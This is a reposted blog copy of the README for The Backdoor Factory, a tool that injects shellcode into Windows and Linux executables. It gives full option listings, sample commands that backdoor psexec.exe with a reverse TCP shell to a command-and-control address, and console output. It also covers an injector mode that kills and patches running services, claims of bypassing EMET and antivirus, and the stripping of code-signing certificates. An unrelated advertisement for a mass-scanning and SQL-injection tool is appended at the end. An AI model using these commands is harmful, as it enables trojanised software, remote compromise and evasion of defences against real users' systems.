Source:
http://ddoshackingarticles.blogspot.co.uk/2014/07/the-backdoor-factory-bdf.html

For security professionals and researchers only.

• Based on the following research by Jared DeMott:http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- Thanks @bannedit0 for mentioning this.
• This shellcode uses LoadLibraryA and GetProcessAddress APIs to find all necessary APIs for a reverse TCP connection. No more of Stephen Fewers API hash lookup (which is still brilliant).
• It's not stealthy. It's position dependent. But the results are great (code cave jumping):https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/
• Bypasses EMET 4.1. The caller protection doesn't catch it.
• As such, I'll be furthering this idea with an algo that patches the binary with custom shellcode based on the APIs that are in the IAT. Including porting the current win86 shellcodes to this idea.

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Many thanks to Ryan O'Neill --ryan 'at' codeslum  org--
Without him, I would still be trying to do stupid things 
with the elf format.
Also thanks to Silvio Cesare with his 1998 paper 
(http://vxheaven.org/lib/vsc01.html) which these ELF patching
techniques are based on.

Video: http://www.youtube.com/watch?v=jXLb2RNX5xs

Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U

Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

Recently tested on many binaries.

Usage: backdoor.py [options]

Options:
  -h, --help            show this help message and exit
  -f FILE, --file=FILE  File to backdoor
  -s SHELL, --shell=SHELL
                        Payloads that are available for use.
  -H HOST, --hostip=HOST
                        IP of the C2 for reverse connections
  -P PORT, --port=PORT  The port to either connect back to for reverse shells
                        or to listen on for bind shells
  -J, --cave_jumping    Select this options if you want to use code cave
                        jumping to further hide your shellcode in the binary.
  -a, --add_new_section
                        Mandating that a new section be added to the exe
                        (better success) but less av avoidance
  -U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE
                        User supplied shellcode, make sure that it matches the
                        architecture that you are targeting.
  -c, --cave            The cave flag will find code caves that can be used
                        for stashing shellcode. This will print to all the
                        code caves of a specific size.The -l flag can be use
                        with this setting.
  -l SHELL_LEN, --shell_length=SHELL_LEN
                        For use with -c to help find code caves of different
                        sizes
  -o OUTPUT, --output-file=OUTPUT
                        The backdoor output file
  -n NSECTION, --section=NSECTION
                        New section name must be less than seven characters
  -d DIR, --directory=DIR
                        This is the location of the files that you want to
                        backdoor. You can make a directory of file backdooring
                        faster by forcing the attaching of a codecave to the
                        exe by using the -a setting.
  -w, --change_access   This flag changes the section that houses the codecave
                        to RWE. Sometimes this is necessary. Enabled by
                        default. If disabled, the backdoor may fail.
  -i, --injector        This command turns the backdoor factory in a hunt and
                        shellcode inject type of mechinism. Edit the target
                        settings in the injector module.
  -u SUFFIX, --suffix=SUFFIX
                        For use with injector, places a suffix on the original
                        file for easy recovery
  -D, --delete_original
                        For use with injector module.  This command deletes
                        the original file.  Not for use in production systems.
                        *Author not responsible for stupid uses.*
  -O DISK_OFFSET, --disk_offset=DISK_OFFSET
                        Starting point on disk offset, in bytes. Some authors
                        want to obfuscate their on disk offset to avoid
                        reverse engineering, if you find one of those files
                        use this flag, after you find the offset.
  -S, --support_check   To determine if the file is supported by BDF prior to
                        backdooring the file. For use by itself or with
                        verbose. This check happens automatically if the
                        backdooring is attempted.
  -M, --cave-miner      Future use, to help determine smallest shellcode
                        possible in a PE file
  -q, --no_banner       Kills the banner.
  -v, --verbose         For debug information output.
  -T IMAGE_TYPE, --image-type=IMAGE_TYPE
                        ALL, x32, or x64 type binaries only. Default=ALL
  -Z, --zero_cert       Allows for the overwriting of the pointer to the PE
                        certificate table effectively removing the certificate
                        from the binary for all intents and purposes.
  -R, --runas_admin     Checks the PE binaries for 'requestedExecutionLevel
                        level="highestAvailable"'. If this string is included
                        in the binary, it must run as system/admin. Doing this
                        slows patching speed significantly.
  -L, --patch_dll       Use this setting if you DON'T want to patch DLLs. 
                        Patches by default.

---

Features:

PE Files

Can find all codecaves in an EXE/DLL.
By default, clears the pointer to the PE certificate table, thereby unsigning a binary.
Can inject shellcode into code caves or into a new section.
Can find if a PE binary needs to run with elevated privileges.
When selecting code caves, you can use the following commands:
  -Jump (j), for code cave jumping
  -Single (s), for patching all your shellcode into one cave
  -Append (a), for creating a code cave
  -Ignore (i), nevermind, ignore this binary
Can ignore DLLs.

ELF Files

Extends 1000 bytes (in bytes) to the TEXT SEGMENT and injects shellcode into that section of code.

Overall

The user can :
  -Provide custom shellcode.
  -Patch a directory of executables/dlls.
  -Select x32 or x64 binaries to patch only.
  -Include BDF is other python projects see pebin.py and elfbin.py

---

Sample Usage:

Patch an exe/dll using an existing code cave:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

---

Patch an exe/dll by adding a code section:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

---

Patch a directory of exes:

./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
...output too long for README...

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User supplied shellcode:

msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.

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Hunt and backdoor: Injector | Windows Only

The injector module will look for target executables to backdoor on disk.  It will check to see if you have identified the target as a service, check to see if the process is running, kill the process and/or service, inject the executable with the shellcode, save the original file to either file.exe.old or another suffix of choice, and attempt to restart the process or service.  
Edit the python dictionary "list_of_targets" in the 'injector' module for targets of your choosing.

./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow 

This is a demo of a tool called D4arker. It has many advantages : features : -Bing Dorker, -Google Dorker, -Mass Scan options, Vuln identifying, Admin finder, Recon tool, -FIMAP & SQLMAP Wrappers for exploiting as well , and all in one !  Check out:

http://sourceforge.net/projects/d4arker/